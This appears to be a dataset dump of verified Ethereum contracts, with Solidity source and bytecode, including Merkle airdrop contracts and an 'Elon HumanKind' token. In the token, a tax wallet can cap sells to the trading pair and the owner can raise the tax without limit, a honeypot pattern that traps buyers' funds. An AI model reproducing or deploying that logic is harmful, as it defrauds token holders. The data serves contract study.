// < MH3YXEq215G556R6G4PcapD3uNnlqpN6YS6beY9hIT9TSJ82R0H06uiG3KFi5F9q >
// < 1E-018 limites [ 1049364589,86927 ; 1059911684,60012 ] >
// < 0x00000000000000000000000000000000000000000000186EB34CDE18AD90E3C0 >
// < RE_Portfolio_XIII_metadata_line_34_____Middle_East_Insurance_Bpp_20250515 >
// < XX4e7Gu4VJh6ZmNc3zkQ6lcZZQML016Lxb1S8CmxV9zppQ702f7iZMX1mRRh12TA >
// < 1E-018 limites [ 1059911684,60012 ; 1128993871,3548 ] >
// < 0x0000000000000000000000000000000000000000000018AD90E3C01A4953F0F3 >
// < RE_Portfolio_XIII_metadata_line_35_____Milli_Re_Bp_20250515 >
// < 5n8j4g5P08l5s1vjyz317UzQI1svkhF0ys9fQbk7U03k5u9pqe4h131jOW660q8k >
// < 1E-018 limites [ 1128993871,3548 ; 1143905766,11543 ] >
// < 0x000000000000000000000000000000000000000000001A4953F0F31AA235AFD7 >
// < RE_Portfolio_XIII_metadata_line_36_____Mitsui_Sumitomo_Ins_Co_Limited_Ap_Ap_20250515 >
// < NSEW31NW2LjJExG85P0SnjeN2xhA3Cem5ig9D3Rx7X9V34qYL6KGDot1WBBiSM70 >
// < 1E-018 limites [ 1143905766,11543 ; ] >
// < 0x000000000000000000000000000000000000000000001AA235AFD71BE03666E9 >
// < RE_Portfolio_XIII_metadata_line_37_____Mitsui_Sumitomo_Insurance_Underwriting_at_Lloyd_s_Limited_20250515 >
// < 6DGM3lGlz461B91q0IYHzEc7GfcKds3YR1Q0y1r52E0e9W3GDT8a4ZzG54G8d6TX >
// < 1E-018 limites [ 1197257781,65277 ; 1214596240,38686 ] >
// < 0x000000000000000000000000000000000000000000001BE03666E91C478ECA5A >
// < RE_Portfolio_XIII_metadata_line_38_____MMA_IARD_Assurances_Mutuelles_Ap_20250515 >
// < 7up8cVPZ7km2XPns4SEW9Rj3nNOT9Cc4QtQpy2v3QdGKHE9403SjjNpIUCIQ4K1e >
// < 1E-018 limites [ 1214596240,38686 ; 1227689017,60894 ] >
// < 0x000000000000000000000000000000000000000000001C478ECA5A1C9598C874 >
// < RE_Portfolio_XIII_metadata_line_39_____MNK_Re_Limited__UK__20250515 >
// < xQHLIfZFKgw7C9F3O9Y9FX5TvU5apWc8S7RN7T5AqXfD1om89Wn186Yg1TC7iwWs >
// < 1E-018 limites [ 1227689017,60894 ; 1285206261,6574 ] >
// < 0x000000000000000000000000000000000000000000001C9598C8741DEC6D21E9 >
// < RE_Portfolio_XIII_metadata_line_40_____Montpelier_Re_Holdings_Limited_20250515 >
// < 051I8hrsPBZVX47054Nd7O6tla9GBI830qbOuW2O97mHnghMSX5z1cF6Cj5jnznD >
// < 1E-018 limites [ 1285206261,6574 ; 1298226364,41114 ] >
// < 0x000000000000000000000000000000000000000000001DEC6D21E91E3A083B8D >
} | 0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058200fb6f6a8500318798a558f7077a7f147aa9916f71c4910beefcf07c645855e3c0029 | {"success": true, "error": null, "results": {}} | 968 |
0x10da261f68feaa66d6455d1710b3818edd633444 | /**
*Submitted for verification at Etherscan.io on 2021-03-27
*/
// SPDX-License-Identifier: MIT AND GPL-v3-or-later
pragma solidity 0.8.1;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract CloneFactory {
function createClone(address target, bytes32 salt) internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create2(0, clone, 0x37, salt)
}
}
function computeCloneAddress(address target, bytes32 salt) internal view returns (address) {
bytes20 targetBytes = bytes20(target);
bytes32 bytecodeHash;
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
bytecodeHash := keccak256(clone, 0x37)
}
bytes32 _data = keccak256(
abi.encodePacked(bytes1(0xff), address(this), salt, bytecodeHash)
);
return address(bytes20(_data << 96));
}
function isClone(address target, address query) internal view returns (bool result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000)
mstore(add(clone, 0xa), targetBytes)
mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function ownerOf(uint256 tokenId) external view returns (address owner);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IAstrodrop {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
contract Astrodrop is IAstrodrop, Ownable {
using SafeERC20 for IERC20;
address public override token;
bytes32 public override merkleRoot;
bool public initialized;
uint256 public expireTimestamp;
// This is a packed array of booleans.
mapping(uint256 => uint256) public claimedBitMap;
function init(address owner_, address token_, bytes32 merkleRoot_, uint256 expireTimestamp_) external {
require(!initialized, "Astrodrop: Initialized");
initialized = true;
token = token_;
merkleRoot = merkleRoot_;
expireTimestamp = expireTimestamp_;
_transferOwnership(owner_);
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'Astrodrop: Invalid proof');
// Mark it claimed and send the token.
_setClaimed(index);
IERC20(token).safeTransfer(account, amount);
emit Claimed(index, account, amount);
}
function sweep(address token_, address target) external onlyOwner {
require(block.timestamp >= expireTimestamp || token_ != token, "Astrodrop: Not expired");
IERC20 tokenContract = IERC20(token_);
uint256 balance = tokenContract.balanceOf(address(this));
tokenContract.safeTransfer(target, balance);
}
}
contract AstrodropERC721 is IAstrodrop, Ownable {
using SafeERC20 for IERC20;
address public override token;
bytes32 public override merkleRoot;
bool public initialized;
uint256 public expireTimestamp;
// This is a packed array of booleans.
mapping(uint256 => uint256) public claimedBitMap;
function init(address owner_, address token_, bytes32 merkleRoot_, uint256 expireTimestamp_) external {
require(!initialized, "Astrodrop: Initialized");
initialized = true;
token = token_;
merkleRoot = merkleRoot_;
expireTimestamp = expireTimestamp_;
_transferOwnership(owner_);
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override {
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'Astrodrop: Invalid proof');
// Mark it claimed and send the token.
_setClaimed(index);
IERC721 tokenContract = IERC721(token);
tokenContract.safeTransferFrom(tokenContract.ownerOf(amount), account, amount);
emit Claimed(index, account, amount);
}
function sweep(address token_, address target) external onlyOwner {
require(block.timestamp >= expireTimestamp || token_ != token, "Astrodrop: Not expired");
IERC20 tokenContract = IERC20(token_);
uint256 balance = tokenContract.balanceOf(address(this));
tokenContract.safeTransfer(target, balance);
}
}
contract AstrodropFactory is CloneFactory {
event CreateAstrodrop(address astrodrop, bytes32 ipfsHash);
function createAstrodrop(
address template,
address token,
bytes32 merkleRoot,
uint256 expireTimestamp,
bytes32 salt,
bytes32 ipfsHash
) external returns (Astrodrop drop) {
drop = Astrodrop(createClone(template, salt));
drop.init(msg.sender, token, merkleRoot, expireTimestamp);
emit CreateAstrodrop(address(drop), ipfsHash);
}
function computeAstrodropAddress(
address template,
bytes32 salt
) external view returns (address) {
return computeCloneAddress(template, salt);
}
function isAstrodrop(address template, address query) external view returns (bool) {
return isClone(template, query);
}
} | 0x608060405234801561001057600080fd5b50600436106100415760003560e01c80633b76da43146100465780638a4a52c61461006f578063bcaee6b41461008f575b600080fd5b6100596100543660046102de565b6100a2565b604051610066919061041c565b60405180910390f35b61008261007d366004610364565b6100b5565b60405161006691906103c6565b61008261009d366004610310565b6100c1565b60006100ae8383610177565b9392505050565b60006100ae83836101d8565b60006100cd878461026e565b604051632cde56c360e01b81529091506001600160a01b03821690632cde56c3906101029033908a908a908a906004016103da565b600060405180830381600087803b15801561011c57600080fd5b505af1158015610130573d6000803e3d6000fd5b505050507f8dcfdb204ac7060d76ccd3610c8f2d7c2c991caee606bf36c38f75b5907e27e28183604051610165929190610403565b60405180910390a19695505050505050565b6000808360601b905060405169363d3d373d3d3d363d7360b01b815281600a8201526e5af43d82803e903d91602b57fd5bf360881b601e82015260408101602d600082873c600d810151600d83015114815183511416935050505092915050565b60408051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b8152606084901b601482018190526e5af43d82803e903d91602b57fd5bf360881b602883015260379091209151600092908390610243906001600160f81b03199030908890869060200161038d565b60408051808303601f1901815291905280516020909101206001600160a01b03169695505050505050565b6000808360601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b6028820152836037826000f595945050505050565b80356001600160a01b03811681146102d957600080fd5b919050565b600080604083850312156102f0578182fd5b6102f9836102c2565b9150610307602084016102c2565b90509250929050565b60008060008060008060c08789031215610328578182fd5b610331876102c2565b955061033f602088016102c2565b95989597505050506040840135936060810135936080820135935060a0909101359150565b60008060408385031215610376578182fd5b61037f836102c2565b946020939093013593505050565b6001600160f81b031994909416845260609290921b6bffffffffffffffffffffffff191660018401526015830152603582015260550190565b6001600160a01b0391909116815260200190565b6001600160a01b0394851681529290931660208301526040820152606081019190915260800190565b6001600160a01b03929092168252602082015260400190565b90151581526020019056fea264697066735822122066b9fc57335ef615ca5ef1adf158ef3369663123fd2b48d472b328956508a33264736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 969 |
0x97F6DfcCAe07CBAf81E2689Af53E93F614E28631 | // SPDX-License-Identifier: MIT
// http://t.me/ElonHumankind
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EHumanKind is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate;
address payable private _taxWallet;
string private constant _name = "Elon HumanKind";
string private constant _symbol = "EHUMANKIND";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxBuy = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxRate = 8;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0,"Tax must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _maxBuy);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_maxBuy = _tTotal;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setMaxBuy(uint256 limit) external overridden {
_maxBuy = limit;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c9567bf911610059578063c9567bf914610325578063dd62ed3e1461033c578063f429389014610379578063f53bc83514610390576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a9059cbb146102bf578063c6d69a30146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612435565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fd5565b6103f6565b604051610162919061241a565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d91906125b7565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611f82565b610420565b6040516101ca919061241a565b60405180910390f35b3480156101df57600080fd5b506101e86104f9565b6040516101f5919061262c565b60405180910390f35b34801561020a57600080fd5b506102136104fe565b005b34801561022157600080fd5b5061023c60048036038101906102379190611ee8565